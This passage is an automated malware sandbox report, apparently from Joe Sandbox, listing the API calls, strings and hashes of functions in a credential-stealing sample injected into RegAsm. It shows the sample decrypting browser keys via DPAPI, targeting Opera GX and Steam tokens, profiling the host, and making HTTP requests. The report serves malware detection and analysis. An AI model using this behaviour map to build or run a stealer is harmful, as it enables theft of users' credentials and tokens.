Instruction Fuzzy Hash: 15410B76A001199BCF10FBA6DD465CD77B5AF04308F51003AFD00B3192DBB8AE4D8AE9

Function 0040819F Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Part of subcall function 004080A1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
Part of subcall function 004080A1: LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
Part of subcall function 004080A1: LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

, xrefs: 00408241
DPAPI, xrefs: 0040821B
"encrypted_key":", xrefs: 004081DF

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2311102621-738592651
Opcode ID: 701b65aca65c4fb8dc168be9cbdef7344fb8cf2d2f392b0d0de0ace3577fd31f
Instruction ID: d78dfd73ee8100a23edce15a91f2c70fa2f38e8288fa49592993377d3a11e596
Opcode Fuzzy Hash: 701b65aca65c4fb8dc168be9cbdef7344fb8cf2d2f392b0d0de0ace3577fd31f
Instruction Fuzzy Hash: 1121C232E40209ABDF14EB91DD41ADE7378AF41364F2045BFE950B72D1DF38AA49CA58

Function 00410F51 Relevance: 6.0, APIs: 4, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 0041683E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

Strings

ERROR, xrefs: 0041686B
ERROR, xrefs: 00416896

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: 9d6bef6e96ced807ab468dc8993a52d9f0373e1b25ae8473017438b8018234a9
Instruction ID: fa6cd13a443083575c3a824eeb1e5676c961334a8f4b47820412c2fdc9a040c1
Opcode Fuzzy Hash: 9d6bef6e96ced807ab468dc8993a52d9f0373e1b25ae8473017438b8018234a9
Instruction Fuzzy Hash: 6F014F75A00118ABCB20FB76D9469CD73A96F04308F55417BBC24E3293E7B8E9494AD9

Function 00416FE1 Relevance: 4.6, APIs: 3, Instructions: 70sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?), ref: 00417048
CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: a933333fad9bd340b18b30eb88140121c52c0b5174dca6836fed6f365d3d225f
Instruction ID: cadfd2f738adb4358b882eccad73f6c5fa04fa67bdf206d0ab743f0929ee9876
Opcode Fuzzy Hash: a933333fad9bd340b18b30eb88140121c52c0b5174dca6836fed6f365d3d225f
Instruction Fuzzy Hash: 49217872900218ABCF10EF96EC419DE7BB9FF44358F10502BF905A3151C778AA86CFA8

Function 00412446 Relevance: 4.5, APIs: 3, Instructions: 41fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460
WriteFile.KERNEL32(00000000,00000000,00414A8D,00414A8D,00000000,?,?,?,00414A8D), ref: 00412487
CloseHandle.KERNEL32(00000000,?,?,?,00414A8D), ref: 0041249E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction ID: a587d297adf89e60fa6946fdd7da6f666782c0f167f87b21f29bcfda1cd19bad
Opcode Fuzzy Hash: 618600667c8334e05266c7920bfcba6b014638909509334c775888355d968c7c
Instruction Fuzzy Hash: 84F02471200118BFEF01AFA4DD8AFEF379CDF053A8F000022F951D6190D3A58D9157A5

Function 6C0F3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C0F3095

Part of subcall function 6C0F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C17F688,00001000), ref: 6C0F35D5
Part of subcall function 6C0F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C0F35E0
Part of subcall function 6C0F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C0F35FD
Part of subcall function 6C0F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C0F363F
Part of subcall function 6C0F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C0F369F
Part of subcall function 6C0F35A0: __aulldiv.LIBCMT ref: 6C0F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C0F309F

Part of subcall function 6C115B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C1156EE,?,00000001), ref: 6C115B85
Part of subcall function 6C115B50: EnterCriticalSection.KERNEL32(6C17F688,?,?,?,6C1156EE,?,00000001), ref: 6C115B90
Part of subcall function 6C115B50: LeaveCriticalSection.KERNEL32(6C17F688,?,?,?,6C1156EE,?,00000001), ref: 6C115BD8
Part of subcall function 6C115B50: GetTickCount64.KERNEL32 ref: 6C115BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C0F30BE

Part of subcall function 6C0F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C0F3127
Part of subcall function 6C0F30F0: __aulldiv.LIBCMT ref: 6C0F3140

Part of subcall function 6C12AB2A: __onexit.LIBCMT ref: 6C12AB30

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 3b0d0129af50f3cbeb4981c2dd5d2363f26b62d471e0ce6b9bc744f8af628517
Instruction ID: 909a63e446701d94d900ef4b4b89dc69b16464895c1b4e450f4b8151a7c37091
Opcode Fuzzy Hash: 3b0d0129af50f3cbeb4981c2dd5d2363f26b62d471e0ce6b9bc744f8af628517
Instruction Fuzzy Hash: 76F0F912E2075496CB11EF3488412E773B1EF6B618F50531AF86453511FB2062D993E6

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction ID: 4a48e0897f6a5e53a67cc5d7e0c14adbc6ce47083a4b6c26751418be0e4428b5
Opcode Fuzzy Hash: 223c93d772ac102104f3d80f3225d4df8625dfe3dc4c13cc38eb63403da552c2
Instruction Fuzzy Hash: 2DE08CB1200204BBD7449BD9AC8DF8A76BCDB84715F100226F605D6250EAB4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,00436853,0043684B,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: 427f249c4c4678dafc1693628a145abf491ee22919a70e5ab789c2905fdf4d33
Instruction ID: 2f838092edd703084741f82f1e37e62fc4a331bb811b3281c0e98dae42c078f1
Opcode Fuzzy Hash: 427f249c4c4678dafc1693628a145abf491ee22919a70e5ab789c2905fdf4d33
Instruction Fuzzy Hash: 3FB1FD7294011DABCF10FFA6DE425CD7775AF04308F51013AF904771A1DBB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416330 Relevance: 3.1, APIs: 2, Instructions: 101stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416378
lstrcatA.KERNEL32(?), ref: 00416396

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: 40245c710f12fa3abaeeea5a620aa160cdce50a450f9b8a8cb644ca27f9ecf0b
Instruction ID: 8b86d470323cba8e8d9fb07341382b27601452c1d6ee34835b9636a410b96c6e
Opcode Fuzzy Hash: 40245c710f12fa3abaeeea5a620aa160cdce50a450f9b8a8cb644ca27f9ecf0b
Instruction Fuzzy Hash: 5B31E67280010DAFDF15EB60DC43EE8377AEB08314F1440AEF606932A1EA769B919F55

Function 00417101 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00417148

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00417158

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 8fa53f5e99fa73b579df2c1d708c4887328353601fdb9c6c5d0bd8b5a299647e
Instruction ID: 80484de5d81fac5735ad8fccb55b53a41610cad84b3e0f2f88df820a69dfcc50
Opcode Fuzzy Hash: 8fa53f5e99fa73b579df2c1d708c4887328353601fdb9c6c5d0bd8b5a299647e
Instruction Fuzzy Hash: 9A012531E4010967CF00FBE6DD478CD7B74AF04358F514176FA0077152DB79AA8A86D5

Function 00409072 Relevance: 2.7, APIs: 2, Instructions: 163stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 00409209
lstrlenA.KERNEL32(?), ref: 00409224

